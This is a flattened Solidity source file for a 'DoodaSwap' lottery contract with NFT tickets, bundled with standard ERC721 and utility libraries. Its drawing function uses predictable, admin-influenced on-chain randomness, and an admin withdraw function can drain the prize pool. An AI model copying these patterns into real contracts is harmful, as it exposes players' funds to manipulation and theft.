as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } function _length(Map storage map) private view returns (uint256) { return map._entries.length; } function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } pragma solidity >=0.6.0 <0.8.0; library Counters { using SafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } pragma solidity >=0.6.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.2 <0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.6.0 <0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity >=0.6.0 <0.8.0; abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } pragma solidity >=0.6.2 <0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity >=0.6.0 <0.8.0; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity >=0.6.2 <0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity >=0.6.2 <0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity >=0.6.0 <0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } function baseURI() public view returns (string memory) { return _baseURI; } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; abstract contract Initializable { bool private _initialized; bool private _initializing; modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } pragma solidity >=0.6.0 <0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity >=0.6.0 <0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.6.12; contract LotteryOwnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { } function initOwner(address owner) internal { _owner = owner; emit OwnershipTransferred(address(0), owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.6.12; contract LotteryNFT is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; mapping (uint256 => uint8[4]) public lotteryInfo; mapping (uint256 => uint256) public lotteryAmount; mapping (uint256 => uint256) public issueIndex; mapping (uint256 => bool) public claimInfo; constructor() public ERC721("DoodaSwap Lottery Ticket", "PSLT") {} function newLotteryItem(address player, uint8[4] memory _lotteryNumbers, uint256 _amount, uint256 _issueIndex) public onlyOwner returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(player, newItemId); lotteryInfo[newItemId] = _lotteryNumbers; lotteryAmount[newItemId] = _amount; issueIndex[newItemId] = _issueIndex; return newItemId; } function getLotteryNumbers(uint256 tokenId) external view returns (uint8[4] memory) { return lotteryInfo[tokenId]; } function getLotteryAmount(uint256 tokenId) external view returns (uint256) { return lotteryAmount[tokenId]; } function getLotteryIssueIndex(uint256 tokenId) external view returns (uint256) { return issueIndex[tokenId]; } function claimReward(uint256 tokenId) external onlyOwner { claimInfo[tokenId] = true; } function multiClaimReward(uint256[] memory _tokenIds) external onlyOwner { for (uint i = 0; i < _tokenIds.length; i++) { claimInfo[_tokenIds[i]] = true; } } function burn(uint256 tokenId) external onlyOwner { _burn(tokenId); } function getClaimStatus(uint256 tokenId) external view returns (bool) { return claimInfo[tokenId]; } } pragma solidity 0.6.12; contract Lottery is LotteryOwnable, Initializable { using SafeMath for uint256; using SafeMath for uint8; using SafeERC20 for IERC20; uint8 constant keyLengthForEachBuy = 11; // Allocation for first/sencond/third reward uint8[3] public allocation; // The TOKEN to buy lottery IERC20 public dooda; // The Lottery NFT for tickets LotteryNFT public lotteryNFT; // adminAddress address public adminAddress; // maxNumber uint8 public maxNumber; // minPrice, if decimal is not 18, please reset it uint256 public minPrice; // ================================= // issueId => winningNumbers[numbers] mapping (uint256 => uint8[4]) public historyNumbers; // issueId => [tokenId] mapping (uint256 => uint256[]) public lotteryInfo; // issueId => [totalAmount, firstMatchAmount, secondMatchingAmount, thirdMatchingAmount] mapping (uint256 => uint256[]) public historyAmount; // issueId => trickyNumber => buyAmountSum mapping (uint256 => mapping(uint64 => uint256)) public userBuyAmountSum; // address => [tokenId] mapping (address => uint256[]) public userInfo; uint256 public issueIndex = 0; uint256 public totalAddresses = 0; uint256 public totalAmount = 0; uint256 public lastTimestamp; uint8[4] public winningNumbers; // default false bool public drawingPhase; // ================================= event Buy(address indexed user, uint256 tokenId); event Drawing(uint256 indexed issueIndex, uint8[4] winningNumbers); event Claim(address indexed user, uint256 tokenid, uint256 amount); event DevWithdraw(address indexed user, uint256 amount); event Reset(uint256 indexed issueIndex); event MultiClaim(address indexed user, uint256 amount); event MultiBuy(address indexed user, uint256 amount); constructor() public { } function initialize( IERC20 _dooda, LotteryNFT _lottery, uint256 _minPrice, uint8 _maxNumber, address _owner, address _adminAddress ) public initializer { dooda = _dooda; lotteryNFT = _lottery; minPrice = _minPrice; maxNumber = _maxNumber; adminAddress = _adminAddress; lastTimestamp = block.timestamp; allocation = [60, 20, 10]; initOwner(_owner); } uint8[4] private nullTicket = [0,0,0,0]; modifier onlyAdmin() { require(msg.sender == adminAddress, "admin: wut?"); _; } function drawed() public view returns(bool) { return winningNumbers[0] != 0; } function reset() external onlyAdmin { require(drawed(), "drawed?"); lastTimestamp = block.timestamp; totalAddresses = 0; totalAmount = 0; winningNumbers[0]=0; winningNumbers[1]=0; winningNumbers[2]=0; winningNumbers[3]=0; drawingPhase = false; issueIndex = issueIndex +1; if(getMatchingRewardAmount(issueIndex-1, 4) == 0) { uint256 amount = getTotalRewards(issueIndex-1).mul(allocation[0]).div(100); internalBuy(amount, nullTicket); } emit Reset(issueIndex); } function enterDrawingPhase() external onlyAdmin { require(!drawed(), 'drawed'); drawingPhase = true; } // add externalRandomNumber to prevent node validators exploiting function drawing(uint256 _externalRandomNumber) external onlyAdmin { require(!drawed(), "reset?"); require(drawingPhase, "enter drawing phase first"); bytes32 _structHash; uint256 _randomNumber; uint8 _maxNumber = maxNumber; bytes32 _blockhash = blockhash(block.number-1); // waste some gas fee here for (uint i = 0; i < 10; i++) { getTotalRewards(issueIndex); } uint256 gasleft = gasleft(); // 1 _structHash = keccak256( abi.encode( _blockhash, totalAddresses, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[0]=uint8(_randomNumber); // 2 _structHash = keccak256( abi.encode( _blockhash, totalAmount, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[1]=uint8(_randomNumber); // 3 _structHash = keccak256( abi.encode( _blockhash, lastTimestamp, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[2]=uint8(_randomNumber); // 4 _structHash = keccak256( abi.encode( _blockhash, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[3]=uint8(_randomNumber); historyNumbers[issueIndex] = winningNumbers; historyAmount[issueIndex] = calculateMatchingRewardAmount(); drawingPhase = false; emit Drawing(issueIndex, winningNumbers); } function internalBuy(uint256 _price, uint8[4] memory _numbers) internal { require (!drawed(), 'drawed, can not buy now'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed the maximum'); } uint256 tokenId = lotteryNFT.newLotteryItem(address(this), _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; emit Buy(address(this), tokenId); } function buy(uint256 _price, uint8[4] memory _numbers) external { require(!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers); for (uint i = 0; i < keyLengthForEachBuy; i++) { userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price); } dooda.safeTransferFrom(address(msg.sender), address(this), _price); emit Buy(msg.sender, tokenId); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } dooda.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function claimReward(uint256 _tokenId) external { require(msg.sender == lotteryNFT.ownerOf(_tokenId), "not from owner"); require (!lotteryNFT.getClaimStatus(_tokenId), "claimed"); uint256 reward = getRewardView(_tokenId); lotteryNFT.claimReward(_tokenId); if(reward>0) { dooda.safeTransfer(address(msg.sender), reward); } emit Claim(msg.sender, _tokenId, reward); } function multiClaim(uint256[] memory _tickets) external { uint256 totalReward = 0; for (uint i = 0; i < _tickets.length; i++) { require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner"); require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed"); uint256 reward = getRewardView(_tickets[i]); if(reward>0) { totalReward = reward.add(totalReward); } } lotteryNFT.multiClaimReward(_tickets); if(totalReward>0) { dooda.safeTransfer(address(msg.sender), totalReward); } emit MultiClaim(msg.sender, totalReward); } function generateNumberIndexKey(uint8[4] memory number) public pure returns (uint64[keyLengthForEachBuy] memory) { uint64[4] memory tempNumber; tempNumber[0]=uint64(number[0]); tempNumber[1]=uint64(number[1]); tempNumber[2]=uint64(number[2]); tempNumber[3]=uint64(number[3]); uint64[keyLengthForEachBuy] memory result; result[0] = tempNumber[0]*256*256*256*256*256*256 + 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[1] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 2*256+ tempNumber[2]; result[2] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 3*256+ tempNumber[3]; result[3] = tempNumber[0]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[4] = 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[5] = tempNumber[0]*256*256 + 1*256+ tempNumber[1]; result[6] = tempNumber[0]*256*256 + 2*256+ tempNumber[2]; result[7] = tempNumber[0]*256*256 + 3*256+ tempNumber[3]; result[8] = 1*256*256*256 + tempNumber[1]*256*256 + 2*256 + tempNumber[2]; result[9] = 1*256*256*256 + tempNumber[1]*256*256 + 3*256 + tempNumber[3]; result[10] = 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; return result; } function calculateMatchingRewardAmount() internal view returns (uint256[4] memory) { uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(winningNumbers); uint256 totalAmout1 = userBuyAmountSum[issueIndex][numberIndexKey[0]]; uint256 sumForTotalAmout2 = userBuyAmountSum[issueIndex][numberIndexKey[1]]; sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[2]]); sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[3]]); sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[4]]); uint256 totalAmout2 = sumForTotalAmout2.sub(totalAmout1.mul(4)); uint256 sumForTotalAmout3 = userBuyAmountSum[issueIndex][numberIndexKey[5]]; sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[6]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[7]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[8]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[9]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[10]]); uint256 totalAmout3 = sumForTotalAmout3.add(totalAmout1.mul(6)).sub(sumForTotalAmout2.mul(3)); return [totalAmount, totalAmout1, totalAmout2, totalAmout3]; } function getMatchingRewardAmount(uint256 _issueIndex, uint256 _matchingNumber) public view returns (uint256) { return historyAmount[_issueIndex][5 - _matchingNumber]; } function getTotalRewards(uint256 _issueIndex) public view returns(uint256) { require (_issueIndex <= issueIndex, '_issueIndex <= issueIndex'); if(!drawed() && _issueIndex == issueIndex) { return totalAmount; } return historyAmount[_issueIndex][0]; } function getRewardView(uint256 _tokenId) public view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } uint256 reward = 0; if (matchingNumber > 1) { uint256 amount = lotteryNFT.getLotteryAmount(_tokenId); uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100); reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount); } return reward.div(1e12); } // Update admin address by the previous dev. function setAdmin(address _adminAddress) public onlyOwner { adminAddress = _adminAddress; } // Withdraw without caring about rewards. EMERGENCY ONLY. function adminWithdraw(uint256 _amount) public onlyAdmin { dooda.safeTransfer(address(msg.sender), _amount); emit DevWithdraw(msg.sender, _amount); } // Set the minimum price for one ticket function setMinPrice(uint256 _price) external onlyAdmin { minPrice = _price; } // Set the minimum price for one ticket function setMaxNumber(uint8 _maxNumber) external onlyAdmin { maxNumber = _maxNumber; } // Set the allocation for one reward function setAllocation(uint8 _allcation1, uint8 _allcation2, uint8 _allcation3) external onlyAdmin { allocation = [_allcation1, _allcation2, _allcation3]; } }
Allocation for first/sencond/third reward The TOKEN to buy lottery The Lottery NFT for tickets adminAddress maxNumber minPrice, if decimal is not 18, please reset it ================================= issueId => winningNumbers[numbers] issueId => [tokenId] issueId => [totalAmount, firstMatchAmount, secondMatchingAmount, thirdMatchingAmount] issueId => trickyNumber => buyAmountSum address => [tokenId] default false =================================
